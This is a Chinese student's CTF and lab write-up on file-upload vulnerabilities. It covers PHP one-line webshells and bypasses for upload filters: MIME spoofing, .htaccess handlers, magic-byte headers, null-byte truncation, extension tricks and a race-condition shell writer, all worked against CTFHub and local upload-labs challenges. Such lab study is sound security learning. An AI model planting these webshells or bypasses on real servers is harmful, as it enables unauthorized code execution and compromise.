文件上传
原理
- 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力
- 一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码
一句话木马到底是什么东西呢!
搜了半天,感觉大家一个抄一个的,一模一样的文章今天见到了n篇了,不知道他们懂不懂反正我看不懂他们写的东西
一句话木马形如:<?php @eval($_POST['haoye']); ?>
- @的作用是后面即使执行错误,也不报错
- eval()函数表示括号内的语句字符串什么的全都当做代码执行
- $_POST[‘haoye’] 表示从页面中获得 haoye 这个参数的值,在蚁剑里那个连接密码就是POST传的这个参数
- eval函数把接收的数据当作PHP代码来执行,这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句
CTFHub文件上传 WP
无限制
- 搜了几篇文章看了原理绕过防护,觉得不太难,胸有成竹的点开了这道题,然后不会 傻眼.jpg
- 看了看别人的wp,发现这道题是不能绕过安装一个新的工具——中国蚁剑,来做出来的……我的三十个金币啊啊啊啊啊😭
- 安装过程中遇到了一堆问题,比如为什么GitHub上下载的压缩包只有4KB,哦,打开啥也没有,那没事儿了
- 然后终于找到在哪里下载了,然后下载速度慢到我怀疑人生,告诉我下载成功还需要等待5天???????
历经九九八十一难之后,我们进入正题:
- 新建一个PHP文件,把复制下来的一句话木马贴进去
- 直接上传PHP文件,然后页面显示了文件路径
- 打开刚才那个软件,右键添加数据,URL那里记得把上传的文件路径也写上去,连接密码要写刚刚那一句话木马中括号里边的东西
- 然后就在目录中找到了flag_444613425.php文件,点进去就找到flag啦~耶
前端验证
- 前端验证有两种绕过方法,可以禁用 JS,或者用bp修改数据,我用的bp,因为我懒得找怎么禁用 JS
- 把刚刚的PHP文件后缀改成 .jpg,然后上传
- bp把拦截下来的数据里的 .jpg改回 .php,然后forward
- 页面提示上传成功并且显示路径,然后就是蚁剑蚁剑
.htaccess
先了解一下这是个什么东西
- htaccess文件是apache服务器的一个配置文件,它负责相关目录下的网页配置
- 通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能
<FilesMatch "\.jpg"> SetHandler application/x-httpd-php </FilesMatch>
- 其中,SetHandler application/x-httpd-php意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行,不符合规则则报错
下面开始做题
- 上边三行代码写到txt文件里,后缀改成 .htaccess
- 拿出我们上个题那个假图片,上传
- 蚁剑连接,成功了,得到flag
MIME绕过
也是先了解一下
- MIME用来设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开
- 浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL
- MIME由两部分组成,由类型(数据的大类别)与子类型(具体的种类)两个字符串中间用
/
分隔而组成,不允许空格存在,type 表示可以被分多个子类的独立类别,如 image/jpg- MIME类型校验就是在上传文件到服务端的时候,服务端会对客户端上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败
试一下
- 上传那张一句话木马图片
- bp抓一下,我一开始突发奇想试试能不能把那个image/jpeg改成image/php,倒是也能改,但是上传失败,离谱的操作增加了哈哈哈哈
Content-Disposition: form-data; name="file"; filename="2.jpg"
把这句里的2.jpg改成1.php,forward,上传成功- 蚁剑连一下,连接成功,但是并没有没想明白这里MIME到底起了什么作用
- 看别人wp全是直接上传 .php,然后把
Content-Type: application/octet-stream
改成了image/jpeg
,感觉差不多- 所以还是没想明白这个绕过体现在哪里了
- 当浏览器在请求资源时,会通过http返回头中的content-type决定如何显示/处理将要加载的数据,如果这个类型浏览器能够支持阅览,浏览器就会直接展示该资源,比如png、jpeg、video等格式
- application/octet-stream是应用程序文件的默认值,意思是未知的应用程序文件,浏览器一般不会自动执行或询问执行
文件头检查
- 通过检查头几位字节,可以分辨是否是图片文件
- 关于幻数:图片文件通常有称作幻数的头字节
JPG FF D8 FF E0 00 10 4A 46 49 46 GIF 47 49 46 38 39 61 // 相当于文本的GIF89a PNG 89 50 4E 47
给上传脚本加上相应的幻数头字节,php引擎会将
GIF89a
的内容当作html文本,不解释而跳过,后面的代码仍然能够得到执行一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符
所以应该是上传这个 :
GIF89a <?php @eval($_POST['haoye']); ?>
- 试了一下发现不能上传PHP文件,后缀改成 .gif
- bp抓包把后缀改回 .php,forward
- 蚁剑连接成功,拿到flag,大功告成!
- 根据上一题的经验我怀疑是不是还有另一种做法,直接上传php改Content-Type行不行,发现也是可以的,改成imag/gif
00截断
- 在文件名中插入空字符进行00截断,只适合前端绕过,后端绕过无效
- 0x00是字符串的结束标识符,可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助绕过检测
- 00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾,操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号,因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的
- 路径写错了耽误了好久
- 上传PHP文件,bp抓包,后缀改成1.php%00.jpg
- 上传成功,蚁剑连接成功,得到flag
双写绕过
- 双写绕过是老朋友了
- 直接上传php文件,bp抓包,文件后缀改成pphphp
- 蚁剑连接成功,拿到flag
uploadlabs
pass-01
- 前端验证,bp抓不到不知道为啥,就离谱??????
- 没找到火狐禁用js,回到edge,禁用js,上传成功,蚁剑试一下,连接成功
pass-02
- 解决了bp的问题,把127.0.0.1换成了自己的IP
- MIME绕过,跟ctfhub那个一样,两个办法,一个是上传PHP文件改Content-Type,一个是上传图片改后缀
- 说起来竟然直接能看到电脑上都有什么东西了,啊,神奇
pass-03
- 黑名单绕过,把.php改成.php5
- 离谱的事情又发生了,上传成功,在文件夹里也能找到,蚁剑为什么连不上????????????????????
pass-04
- .htaccess绕过,按理来说跟上边ctfhub那道一样,依然是上传成功了但是我的蚁剑还是连不上,气死我了
pass-05
- 很神奇的绕过,后缀改成
.php. .
pass-06
- 大小写绕过,提示里看php和pHp都不允许的,但是phP可以
pass-07
- 空格绕过,文件名后+空格绕过
- ——得学会看源码
pass-08
- 跟第五题一样 后缀加
. .
pass-09
- 源码中未过滤
::$DATA
,可以利用::$DATA
来绕过过滤 - 在window中如果文件名后+
::$DATA
会把::$DATA
前面的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名 - 改为1.php::$DATA
pass-10
- 和第八题一样,末尾加
. .
,这个怎么这么神奇哈哈哈哈哈哈哈
pass-11
- 提示去除……一大堆,盲猜双写绕过
- 果然,后缀改成 .pphphp
pass-12
- 提示pass上传路径可控,应该是00截断,但是我上传不了不知道为啥
- 然后发现前提 条件是php版本小于5.3.4,php的magic_quotes_gpc是关闭状态,换了个版本结果也找不到这个参数哪里关,总之上传不了
pass-13
- 也是上传路径可控,00截断++,跟上个题不一样的是这个是post,上边那个是get,但是我这也传不了
pass-14
- 上传图片马,有文件头验证
- 提示页面存在文件包含漏洞,蚁剑连接url为:
http://127.0.0.1/uploadlabs/include.php?file=upload/6920220502231051.gif
pass-15
- 跟14题一样
pass-16
- 使用exif_imagetype函数来检查是否是图片,读取一个图像的第一个字节并检查其签名,所以也可以通过伪造图片头来进行绕过
- 需要打开php_exif,然后和15题一样
pass-17
- 要做真 · 图片马了,好激动
- cmd命令:copy 2.gif/b + 2.php 3.gif 制作
- 还要绕过二次渲染,所以还要对比一下图片,看看哪里可以绕一下
- 找到了,开头那里,耶,再来,好像成功了
- 蚁剑试了一下,好耶
pass-18
又是新东西,条件竞争——文件是先上传到服务端,然后才进行白名单验证及删除
偷了个脚本来,试一下,一直报错,发现我浏览器访问upload目录甚至403,找不到在哪里改允许访问目录,服了,写一下原理吧
一句话木马改为:
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["Tony"])?>');?>
用bp爆破,疯狂上传文件,线程要高一点,然后脚本是判断什么时候有一个文件没来的及删除就被访问到,一旦访问到该文件就会在当前目录下生成一个文件名为1.php的一句话木马,然后蚁剑连接
pass-19
- 跟18题差不多,但是要上传图片木马,然后通过14题的文件包含漏洞解析图片马(理论)
pass-20
- 给上传的文件重命名为 .jpg,可以通过空格绕过
- 我试了大写绕过上传成功了连不上,气死我了
pass-21
- 有个MIME绕过———一个数组绕过
- 如果POST接收的save_name值为空则赋值给
$_FILES['upload_file']['name']
,否则是本身,接着是用explode() 函数把字符串打散为数组 - end()函数将数组的内部指针移动到最后一个单元并返回其值
- reset()函数将数组的内部指针倒回到第一个单元并返回第一个数组单元的值
- count()函数计算数组中的单元数目或对象中的属性个数(数组下标从0开始)
- end函数将接收的后缀与白名单比较,如果符合,继续执行,然后数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
- 如果POST接收的save_name值为空则赋值给
- save_name[0]=1.php, save_name[2]=jpg —> $ext=jpg过白名单,reset($file)=pass21.php,$file[1]=null,这样就成功了
- 真该恶补PHP了,看不懂代码的感觉好憋屈